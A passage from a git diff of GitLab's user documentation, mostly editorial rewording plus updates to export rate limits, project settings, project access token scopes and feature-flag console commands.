protected branches are not exported. Therefore, + you will need to recreate this association by first enabling these deploy keys in your + imported project and then updating your protected branches accordingly. ## Version history @@ -114,8 +117,9 @@ The following items will be exported: - LFS objects - Issue boards - Pipelines history +- Push Rules -The following items will NOT be exported: +The following items will **not** be exported: - Build traces and artifacts - Container registry images @@ -123,10 +127,9 @@ The following items will NOT be exported: - Webhooks - Any encrypted tokens - Merge Request Approvers -- Push Rules - Awards -NOTE: **Note:** +NOTE: For more details on the specific data persisted in a project export, see the [`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/import_export/project/import_export.yml) file. @@ -170,14 +173,14 @@ To export a project and its data, follow these steps: 1. Click on **Import project** to begin importing. Your newly imported project page will appear soon. -NOTE: **Note:** +NOTE: If use of the `Internal` visibility level [is restricted](../../../public_access/public_access.md#restricting-the-use-of-public-or-internal-projects), all imported projects are given the visibility of `Private`. -NOTE: **Note:** +NOTE: The maximum import file size can be set by the Administrator, default is 50MB. -As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](../../../api/settings.md#change-application-settings) or the [Admin UI](../../admin_area/settings/account_and_limit_settings.md). +As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](../../../api/settings.md#change-application-settings) or the [Admin Area UI](../../admin_area/settings/account_and_limit_settings.md). ### Project import status @@ -188,12 +191,14 @@ As described in the API documentation, the query may return an import error or e If you have a larger project, consider using a Rake task, as described in our [developer documentation](../../../development/import_project.md#importing-via-a-rake-task). -## Rate limits +## Rate Limits + +To help avoid abuse, by default, users are rate limited to: -To help avoid abuse, users are rate limited to: +| Request Type | Limit | +| ---------------- | ---------------------------------------- | +| Export | 6 projects per minute | +| Download export | 1 download per group per minute | +| Import | 6 projects per minute | -| Request Type | Limit | -| ---------------- | ----------------------------------------- | -| Export | 30 projects per 5 minutes | -| Download export | 10 downloads per project every 10 minutes | -| Import | 30 projects per 5 minutes | +Please note that GitLab.com may have [different settings](../../gitlab_com/index.md#importexport) from the defaults. diff --git a/doc/user/project/settings/index.md b/doc/user/project/settings/index.md index 4b368fc20d6..41f404de4f2 100644 --- a/doc/user/project/settings/index.md +++ b/doc/user/project/settings/index.md @@ -1,13 +1,13 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, index, howto --- # Project settings -NOTE: **Note:** +NOTE: Only project maintainers and administrators have the [permissions](../../permissions.md#project-members-permissions) to access a project settings. @@ -31,13 +31,13 @@ The project description also partially supports [standard Markdown](../../markdo You can select a framework label to identify that your project has certain compliance requirements or needs additional oversight. Available labels include: -- GDPR - General Data Protection Regulation -- HIPAA - Health Insurance Portability and Accountability Act -- PCI-DSS - Payment Card Industry-Data Security Standard -- SOC 2 - Service Organization Control 2 -- SOX - Sarbanes-Oxley +- GDPR (General Data Protection Regulation) +- HIPAA (Health Insurance Portability and Accountability Act) +- PCI-DSS (Payment Card Industry-Data Security Standard) +- SOC 2 (Service Organization Control 2) +- SOX (Sarbanes-Oxley) -NOTE: **Note:** +NOTE: Compliance framework labels do not affect your project settings. ### Sharing and permissions @@ -52,7 +52,7 @@ If you set **Project Visibility** to public, you can limit access to some featur to **Only Project Members**. In addition, you can select the option to [Allow users to request access](../members/index.md#project-membership-and-requesting-access). -CAUTION: **Caution:** +WARNING: If you [reduce a project's visibility level](../../../public_access/public_access.md#reducing-visibility), that action unlinks all forks of that project. @@ -68,11 +68,13 @@ Use the switches to enable or disable the following features: | **Container Registry** | | Activates a [registry](../../packages/container_registry/) for your Docker images | | **Git Large File Storage** | | Enables the use of [large files](../../../topics/git/lfs/index.md#git-large-file-storage-lfs) | | **Packages** | | Supports configuration of a [package registry](../../../administration/packages/index.md#gitlab-package-registry-administration) functionality | +| **Analytics** | ✓ | Enables [analytics](../../analytics/) | | **Wiki** | ✓ | Enables a separate system for [documentation](../wiki/) | | **Snippets** | ✓ | Enables [sharing of code and text](../../snippets.md) | | **Pages** | ✓ | Allows you to [publish static websites](../pages/) | | **Metrics Dashboard** | ✓ | Control access to [metrics dashboard](../integrations/prometheus.md) -| **Requirements** | ✓ | Control access to [Requirements Management](../requirements/index.md) +| **Requirements** | ✓ | Control access to [Requirements Management](../requirements/index.md) | +| **Operations Dashboard** | ✓ | Control access to [operations dashboard](../../../operations/index.md) Some features depend on others: @@ -81,7 +83,7 @@ Some features depend on others: - **Issue Boards** - [**Service Desk**](#service-desk) - NOTE: **Note:** + NOTE: When the **Issues** option is disabled, you can still access **Milestones** from merge requests. @@ -186,7 +188,7 @@ Next, to unarchive the project: #### Renaming a repository -NOTE: **Note:** +NOTE: Only project maintainers and administrators have the [permissions](../../permissions.md#project-members-permissions) to rename a repository. Not to be confused with a project's name where it can also be changed from the [general project settings](#general-project-settings). @@ -198,8 +200,8 @@ To rename a repository: 1. Navigate to your project's **Settings > General**. 1. Under **Advanced**, click **Expand**. -1. Under "Rename repository", change the "Path" to your liking. -1. Hit **Rename project**. +1. Under **Change path**, update the repository's path. +1. Click **Change path**. Remember that this can have unintended side effects since everyone with the old URL won't be able to push or pull. Read more about what happens with the @@ -207,7 +209,7 @@ old URL won't be able to push or pull. Read more about what happens with the #### Transferring an existing project into another namespace -NOTE: **Note:** +NOTE: Only project owners and administrators have the [permissions](../../permissions.md#project-members-permissions) to transfer a project. @@ -229,13 +231,13 @@ Once done, you will be taken to the new project's namespace. At this point, read what happens with the [redirects from the old project to the new one](../index.md#redirects-when-changing-repository-paths). -NOTE: **Note:** +NOTE: GitLab administrators can use the administration interface to move any project to any namespace if needed. #### Delete a project -NOTE: **Note:** +NOTE: Only project owners and administrators have [permissions](../../permissions.md#project-members-permissions) to delete a project. To delete a project: @@ -253,7 +255,7 @@ to be deleted after a delayed period. When enabled, actual deletion happens after number of days specified in [instance settings](../../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). -CAUTION: **Warning:** +WARNING: The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to [Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) in GitLab 13.2. @@ -274,7 +276,7 @@ If you want to use the fork for yourself and don't need to send [merge requests](../merge_requests/index.md) to the upstream project, you can safely remove the fork relationship. -CAUTION: **Caution:** +WARNING: Once removed, the fork relationship cannot be restored. You will no longer be able to send merge requests to the source, and if anyone has forked your project, their fork will also lose the relationship. To do so: @@ -283,7 +285,7 @@ To do so: 1. Under **Remove fork relationship**, click the likewise-labeled button. 1. Confirm the action by typing the project's path as instructed. -NOTE: **Note:** +NOTE: Only project owners have the [permissions](../../permissions.md#project-members-permissions) to remove a fork relationship. diff --git a/doc/user/project/settings/project_access_tokens.md b/doc/user/project/settings/project_access_tokens.md index 9f8cf2ff41a..494f0b725e3 100644 --- a/doc/user/project/settings/project_access_tokens.md +++ b/doc/user/project/settings/project_access_tokens.md @@ -1,20 +1,23 @@ --- stage: Manage group: Access -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto --- # Project access tokens -NOTE: **Note:** -Project access tokens are supported for self-managed instances on Core and above. They are also supported on GitLab.com Bronze and above. +NOTE: +Project access tokens are supported for self-managed instances on Core and above. They are also supported on GitLab.com Bronze and above (excluding [trial licenses](https://about.gitlab.com/free-trial/)). > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2587) in GitLab 13.0. > - It was [deployed](https://gitlab.com/groups/gitlab-org/-/epics/2587) behind a feature flag, disabled by default. > - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/218722) in GitLab 13.3. -> - [Became available on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/235765) in 13.5. > - It's recommended for production use. +> - [Became available on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/235765) in 13.5 for paid groups only. + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. Project access tokens are scoped to a project and can be used to authenticate with the [GitLab API](../../../api/README.md#personalproject-access-tokens). You can also use project access tokens with Git to authenticate over HTTP. @@ -69,9 +72,39 @@ the following table. | Scope | Description | | ------------------ | ----------- | -| `api` | Grants complete read/write access to the scoped project API. | -| `read_api` | Grants read access to the scoped project API. | +| `api` | Grants complete read/write access to the scoped project API, including the Package Registry](../../packages/package_registry/index.md). | +| `read_api` | Grants read access to the scoped project API, including the [Package Registry](../../packages/package_registry/index.md). | | `read_registry` | Allows read-access (pull) to [container registry](../../packages/container_registry/index.md) images if a project is private and authorization is required. | | `write_registry` | Allows write-access (push) to [container registry](../../packages/container_registry/index.md). | | `read_repository` | Allows read-only access (pull) to the repository. | | `write_repository` | Allows read-write access (pull, push) to the repository. | + +### Enable or disable project access tokens + +Project access tokens are deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can disable it for your instance, globally or by project. + +To disable it globally: + +```ruby +Feature.disable(:resource_access_token) +``` + +To disable it for a specific project: + +```ruby +Feature.disable(:resource_access_token, project) +``` + +To enable it globally: + +```ruby +Feature.enable(:resource_access_token) +``` + +To enable it for a specific project: + +```ruby +Feature.enable(:resource_access_token, project) +``` diff --git a/doc/user/project/slash_commands.md b/doc/user/project/slash_commands.md index 1280524bc9b..5844861c91e 100644 --- a/doc/user/project/slash_commands.md +++ b/doc/user/project/slash_commands.md @@ -3,3 +3,6 @@ redirect_to: 'quick_actions.md' --- This document was moved to [user/project/quick_actions.md](quick_actions.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/static_site_editor/index.md b/doc/user/project/static_site_editor/index.md index c2d4c77a469..07f122a7828 100644 --- a/doc/user/project/static_site_editor/index.md +++ b/doc/user/project/static_site_editor/index.md @@ -1,7 +1,7 @@ --- stage: Create -group: Static Site Editor -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +group: Editor +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, how-to description: "The static site editor enables users to edit content on static websites without prior knowledge of the underlying templating language, site architecture or Git commands." --- @@ -11,6 +11,7 @@ description: "The static site editor enables users to edit content on static web > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28758) in GitLab 12.10. > - WYSIWYG editor [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214559) in GitLab 13.0. > - Non-Markdown content blocks uneditable on the WYSIWYG mode [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216836) in GitLab 13.3. +> - Formatting Markdown [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49052) in GitLab 13.7. Static Site Editor (SSE) enables users to edit content on static websites without prior knowledge of the underlying templating language, site architecture, or @@ -53,10 +54,16 @@ click of a button:  -When an editor submits their changes, in the background, GitLab automatically -creates a new branch, commits their changes, and opens a merge request. The -editor lands directly on the merge request, and then they can assign it to -a colleague for review. +When an editor submits their changes, these are the following actions that GitLab +performs automatically in the background: + +1. Creates a new branch. +1. Commits their changes. + 1. Fixes formatting according to the [Handbook Markdown Style Guide](https://about.gitlab.com/handbook/markdown-guide/) + style guide and add them through another commit. +1. Opens a merge request against the default branch. + +The editor can then navigate to the merge request to assign it to a colleague for review. ## Set up your project @@ -162,7 +169,7 @@ title, layout template, or author, but can be used to pass any kind of metadata generator as the page renders out to HTML. Included at the very top of each data file, the front matter is often formatted as YAML or JSON and requires consistent and accurate syntax. -To edit the front matter from the Static Site Editor you can use the GitLab's regular file editor, +To edit the front matter from the Static Site Editor you can use the GitLab regular file editor, the Web IDE, or easily update the data directly from the WYSIWYG editor: 1. Click the **Page settings** button on the bottom-right to reveal a web form with the data you diff --git a/doc/user/project/status_page/index.md b/doc/user/project/status_page/index.md index 20bb23f1d6b..513c410a6f9 100644 --- a/doc/user/project/status_page/index.md +++ b/doc/user/project/status_page/index.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/incident_management/status_page.md' --- This document was moved to [status_page.md](../../../operations/incident_management/status_page.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/time_tracking.md b/doc/user/project/time_tracking.md index b88e1ed2d37..c94795578ef 100644 --- a/doc/user/project/time_tracking.md +++ b/doc/user/project/time_tracking.md @@ -3,7 +3,7 @@ type: reference disqus_identifier: 'https://docs.gitlab.com/ee/workflow/time_tracking.html' stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Time Tracking @@ -49,7 +49,7 @@ you need to enter an estimate of 3 days, 5 hours and 10 minutes, you would write `/estimate 3d 5h 10m`. Time units that we support are listed at the bottom of this help page. -Every time you enter a new time estimate, any previous time estimates will be +Every time you enter a new time estimate, any previous time estimates are overridden by this new value. There should only be one valid estimate in an issue or a merge request. @@ -59,12 +59,12 @@ To remove an estimation entirely, use `/remove_estimate`. To enter a time spent, use `/spend 3d 5h 10m`. -Every new time spent entry will be added to the current total time spent for the +Every new time spent entry is added to the current total time spent for the issue or the merge request. -You can remove time by entering a negative amount: `/spend -3d` will remove 3 +You can remove time by entering a negative amount: for example, `/spend -3d` removes three days from the total time spent. You can't go below 0 minutes of time spent, -so GitLab will automatically reset the time spent if you remove a larger amount +so GitLab automatically resets the time spent if you remove a larger amount of time compared to the time that was entered already. To remove all the time spent at once, use `/remove_time_spent`. diff --git a/doc/user/project/web_ide/img/solarized_light_theme_v13_0.png b/doc/user/project/web_ide/img/solarized_light_theme_v13_0.png Binary files differindex b4b14f1fc7f..6257d78d29e 100644 --- a/doc/user/project/web_ide/img/solarized_light_theme_v13_0.png +++ b/doc/user/project/web_ide/img/solarized_light_theme_v13_0.png diff --git a/doc/user/project/web_ide/index.md b/doc/user/project/web_ide/index.md index 2b9db1c952d..29b24028e48 100644 --- a/doc/user/project/web_ide/index.md +++ b/doc/user/project/web_ide/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Editor -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, how-to --- @@ -66,7 +66,7 @@ Monaco uses the [Monarch](https://microsoft.github.io/monaco-editor/monarch.html If you are missing Syntax Highlighting support for any language, we prepared a short guide on how to [add support for a missing language Syntax Highlighting.](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/ide/lib/languages/README.md) -NOTE: **Note:** +NOTE: Single file editing is based on the [Ace Editor](https://ace.c9.io). ### Themes @@ -262,8 +262,8 @@ quickly share your project with others. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/268288) in GitLab 12.9, third-party assets and libraries required for Live Preview are hosted at `https://sandbox-prod.gitlab-static.net` when it is enabled. However, some libraries are still served from other third-party services which may or may not be desirable in your environment. -The Live Preview feature needs to be enabled in the GitLab instances -admin settings. Live Preview is enabled for all projects on +The Live Preview feature needs to be enabled in the GitLab instance's +Admin Area. Live Preview is enabled for all projects on GitLab.com  @@ -286,9 +286,9 @@ below. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5426) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.6. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/211685) to GitLab Core in 13.1. -CAUTION: **Warning:** +WARNING: Interactive Web Terminals for the Web IDE is currently in **Beta**. -Shared runners [do not yet support Interactive Web Terminals](https://gitlab.com/gitlab-org/gitlab/-/issues/24674), +GitLab.com shared runners [do not yet support Interactive Web Terminals](https://gitlab.com/gitlab-org/gitlab/-/issues/24674), so you would need to use your own private runner to make use of this feature. [Interactive Web Terminals](../../../ci/interactive_web_terminal/index.md) @@ -313,7 +313,7 @@ terminal blocks the job from finishing for the duration configured in [`[session_server].session_timeout`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section) until you close the terminal window. -NOTE: **Note:** +NOTE: Not all executors are [supported](https://docs.gitlab.com/runner/executors/#compatibility-chart). The [File Sync](#file-syncing-to-web-terminal) feature is supported on Kubernetes runners only. @@ -394,7 +394,7 @@ File changes in the Web IDE can be synced to a running web terminal. This enables users to test their code changes in a preconfigured terminal environment. -NOTE: **Note:** +NOTE: Only file changes in the Web IDE are synced to the terminal. Changes made in the terminal are **not** synced to the Web IDE. This feature is only available for Kubernetes runners. diff --git a/doc/user/project/wiki/index.md b/doc/user/project/wiki/index.md index e082e091dec..7802f2ba95e 100644 --- a/doc/user/project/wiki/index.md +++ b/doc/user/project/wiki/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Knowledge -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, how-to --- @@ -34,7 +34,7 @@ message. ## Creating a new wiki page -NOTE: **Note:** +NOTE: Requires Developer [permissions](../../permissions.md). Create a new page by clicking the **New page** button that can be found @@ -64,7 +64,7 @@ When you're ready, click the **Create page** and the new page will be created. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/33475) in GitLab 11.3. -Starting with GitLab 11.3, any file that is uploaded to the wiki via GitLab's +Starting with GitLab 11.3, any file that is uploaded to the wiki via the GitLab interface will be stored in the wiki Git repository, and it will be available if you clone the wiki repository locally. All uploaded files prior to GitLab 11.3 are stored in GitLab itself. If you want them to be part of the wiki's Git @@ -208,7 +208,7 @@ On the project's Wiki page, there is a right side navigation that renders the fu To customize the sidebar, you can create a file named `_sidebar` to fully replace the default navigation. -CAUTION: **Warning:** +WARNING: Unless you link the `_sidebar` file from your custom nav, to edit it you'll have to access it directly from the browser's address bar by typing: `https://gitlab.com/<namespace>/<project_name>/-/wikis/_sidebar` (for self-managed GitLab instances, replace `gitlab.com` with your instance's URL). @@ -226,4 +226,4 @@ Example for `_sidebar` (using Markdown format): - [Sidebar](_sidebar) ``` -Support for displaying a generated TOC with a custom side navigation is planned. +Support for displaying a generated table of contents with a custom side navigation is planned. diff --git a/doc/user/reserved_names.md b/doc/user/reserved_names.md index ea3ca7a28d7..16ff8538630 100644 --- a/doc/user/reserved_names.md +++ b/doc/user/reserved_names.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Reserved project and group names diff --git a/doc/user/search/advanced_global_search.md b/doc/user/search/advanced_global_search.md index 3152229c39f..1898bdf06a9 100644 --- a/doc/user/search/advanced_global_search.md +++ b/doc/user/search/advanced_global_search.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Global Search -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- @@ -9,7 +9,7 @@ type: reference > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/109) in GitLab [Starter](https://about.gitlab.com/pricing/) 8.4. -NOTE: **GitLab.com availability:** +NOTE: Advanced Search (powered by Elasticsearch) is enabled for Bronze and above on GitLab.com since 2020-07-10. Leverage Elasticsearch for faster, more advanced code search across your entire @@ -43,11 +43,7 @@ The Advanced Search can be useful in various scenarios. ### Faster searches -If you are dealing with huge amount of data and want to keep GitLab's search -fast, Advanced Search will help you achieve that. - -NOTE: **Note:** -Between versions 12.10 and 13.4, Advanced Search response times have improved by 80%. +Advanced Search is based on Elasticsearch, which is a purpose built full text search engine that can be horizontally scaled so that it can provide search results in 1-2 seconds in most cases. ### Promote innersourcing @@ -66,7 +62,7 @@ project you have access to. You can also use the [Advanced Search Syntax](advanced_search_syntax.md) which provides some useful queries. -NOTE: **Note:** +NOTE: Elasticsearch has only data for the default branch. That means that if you go to the repository tree and switch the branch from the default to something else, then the "Code" tab in the search result page will be served by the basic diff --git a/doc/user/search/advanced_search_syntax.md b/doc/user/search/advanced_search_syntax.md index c1414fb9ebe..fe2371947b4 100644 --- a/doc/user/search/advanced_search_syntax.md +++ b/doc/user/search/advanced_search_syntax.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Global Search -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- @@ -9,7 +9,7 @@ type: reference > - Introduced in [GitLab Enterprise Starter](https://about.gitlab.com/pricing/) 9.2 -NOTE: **GitLab.com availability:** +NOTE: Advanced Search (powered by Elasticsearch) is enabled for Bronze and above on GitLab.com since 2020-07-10. Use advanced queries for more targeted search results. @@ -25,19 +25,6 @@ want to have more specific search results. Advanced Search only supports searching the [default branch](../project/repository/branches/index.md#default-branch). -## Use cases - -Let's say for example that the product you develop relies on the code of another -product that's hosted under some other group. - -Since under your GitLab instance there are hosted hundreds of different projects, -you need the search results to be as efficient as possible. You have a feeling -of what you want to find (e.g., a function name), but at the same you're also -not so sure. - -In that case, using the advanced search syntax in your query will yield much -better results. - ## Using the Advanced Search Syntax The Advanced Search Syntax supports fuzzy or exact search queries with prefixes, @@ -93,3 +80,10 @@ Examples: - Finding `success` in all files excluding `.po|pot` files: [`success -filename:*.po*`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=success+-filename%3A*.po*&group_id=9970&project_id=278964) - Finding `import` excluding minified JavaScript (`.min.js`) files: [`import -extension:min.js`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=import+-extension%3Amin.js&group_id=9970&project_id=278964) - Finding `docs` for all files outside the `docs/` folder: [`docs -path:docs/`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=docs+-path%3Adocs%2F&group_id=9970&project_id=278964) + +### Search by issue or merge request ID + +You can search a specific issue or merge request by its ID with a special prefix. + +- To search by issue ID, use prefix `#` followed by issue ID. For example, [#23456](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=%2323456&group_id=9970&project_id=278964) +- To search by merge request ID, use prefix `!` followed by merge request ID. For example [!23456](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=merge_requests&repository_ref=&search=%2123456&group_id=9970&project_id=278964) diff --git a/doc/user/search/index.md b/doc/user/search/index.md index 79c6cf3b07d..8c3d941192c 100644 --- a/doc/user/search/index.md +++ b/doc/user/search/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Editor -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: index, reference, howto --- diff --git a/doc/user/shortcuts.md b/doc/user/shortcuts.md index 6361aa856fe..282e3296735 100644 --- a/doc/user/shortcuts.md +++ b/doc/user/shortcuts.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference disqus_identifier: 'https://docs.gitlab.com/ee/workflow/shortcuts.html' --- @@ -47,14 +47,14 @@ for example comments, replies, issue descriptions, and merge request description | <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>i</kbd> | Italicize the selected text (surround it with `_`). | | <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>k</kbd> | Add a link (surround the selected text with `[]()`). | -NOTE: **Note:** +NOTE: The shortcuts for editing in text fields are always enabled, even when other keyboard shortcuts are disabled as explained above. ## Project These shortcuts are available from any page within a project. You must type them -relatively quickly to work, and they will take you to another page in the project. +relatively quickly to work, and they take you to another page in the project. | Keyboard Shortcut | Description | | --------------------------- | ----------- | @@ -87,7 +87,7 @@ These shortcuts are available when viewing issues and merge requests. | <kbd>a</kbd> | Change assignee. | | <kbd>m</kbd> | Change milestone. | | <kbd>l</kbd> | Change label. | -| <kbd>r</kbd> | Start writing a comment. If any text is selected, it will be quoted in the comment. Can't be used to reply within a thread. | +| <kbd>r</kbd> | Start writing a comment. If any text is selected, it is quoted in the comment. Can't be used to reply within a thread. | | <kbd>n</kbd> | Move to next unresolved discussion (merge requests only). | | <kbd>p</kbd> | Move to previous unresolved discussion (merge requests only). | | <kbd>]</kbd> or <kbd>j</kbd> | Move to next file (merge requests only). | @@ -153,6 +153,6 @@ These shortcuts are available when viewing [Epics](group/epics/index.md): | Keyboard Shortcut | Description | | ----------------- | ----------- | -| <kbd>r</kbd> | Start writing a comment. If any text is selected, it will be quoted in the comment. Can't be used to reply within a thread. | +| <kbd>r</kbd> | Start writing a comment. If any text is selected, it is quoted in the comment. Can't be used to reply within a thread. | | <kbd>e</kbd> | Edit description. | | <kbd>l</kbd> | Change label. | diff --git a/doc/user/snippets.md b/doc/user/snippets.md index 2d0c9d4f943..33aa0bd253b 100644 --- a/doc/user/snippets.md +++ b/doc/user/snippets.md @@ -1,7 +1,7 @@ --- stage: Create group: Editor -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- @@ -52,7 +52,7 @@ part of the dropdown (**This project**). From there, add the **Title**, **Description**, and a **File** name with the appropriate extension (for example, `example.rb`, `index.html`). -CAUTION: **Warning:** +WARNING: Make sure to add the file name to get code highlighting and to avoid this [copy-pasting bug](https://gitlab.com/gitlab-org/gitlab/-/issues/22870). diff --git a/doc/user/todos.md b/doc/user/todos.md index 69c0736bdff..7d5a66a1632 100644 --- a/doc/user/todos.md +++ b/doc/user/todos.md @@ -2,7 +2,7 @@ disqus_identifier: 'https://docs.gitlab.com/ee/workflow/todos.html' stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab To-Do List **(CORE)** @@ -62,7 +62,7 @@ item. To-do item triggers aren't affected by [GitLab notification email settings](profile/notifications.md). -NOTE: **Note:** +NOTE: When a user no longer has access to a resource related to a to-do item (such as an issue, merge request, epic, project, or group), for security reasons GitLab deletes any related to-do items within the next hour. Deletion is delayed to @@ -72,7 +72,7 @@ prevent data loss, in the case where a user's access is accidentally revoked. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7926) in GitLab 9.0. -If you're mentioned at the start of a line, the to-do item you receive will be +If you're mentioned at the start of a line, the to-do item you receive is listed as *directly addressed*. For example, in the following comment: ```markdown @@ -104,7 +104,7 @@ You can also add the following to your To-Do List by clicking the **Add a to do* ## Marking a to-do item as done -Any action to an issue or merge request (or epic **(ULTIMATE)**) will mark its +Any action to an issue or merge request (or epic **(PREMIUM)**) marks its corresponding to-do item as done. Actions that dismiss to-do items include: diff --git a/doc/user/upgrade_email_bypass.md b/doc/user/upgrade_email_bypass.md index 97d4b5e6a0a..e50b6959a70 100644 --- a/doc/user/upgrade_email_bypass.md +++ b/doc/user/upgrade_email_bypass.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Updating to GitLab 13.2: Email confirmation issues @@ -27,7 +27,7 @@ sent within five minutes, with a link for users to re-confirm the subject email ## Do the confirmation emails expire? -The links in these re-confirmation emails expire after one day by default. Users who click an expired link will be asked to request a new re-confirmation email. Any user can request a new re-confirmation email from `http://gitlab.example.com/users/confirmation/new`. +The links in these re-confirmation emails expire after one day by default. Users who click an expired link are asked to request a new re-confirmation email. Any user can request a new re-confirmation email from `http://gitlab.example.com/users/confirmation/new`. ## Generate a list of affected users @@ -60,7 +60,7 @@ User.where(confirmed_at: nil).where('LENGTH(confirmation_token) = 32') A regular user might receive a message that says "You have to confirm your email address before continuing". This message could includes a 404 or 422 error code, when the user tries to sign in. -NOTE: **Note:** +NOTE: We hope to 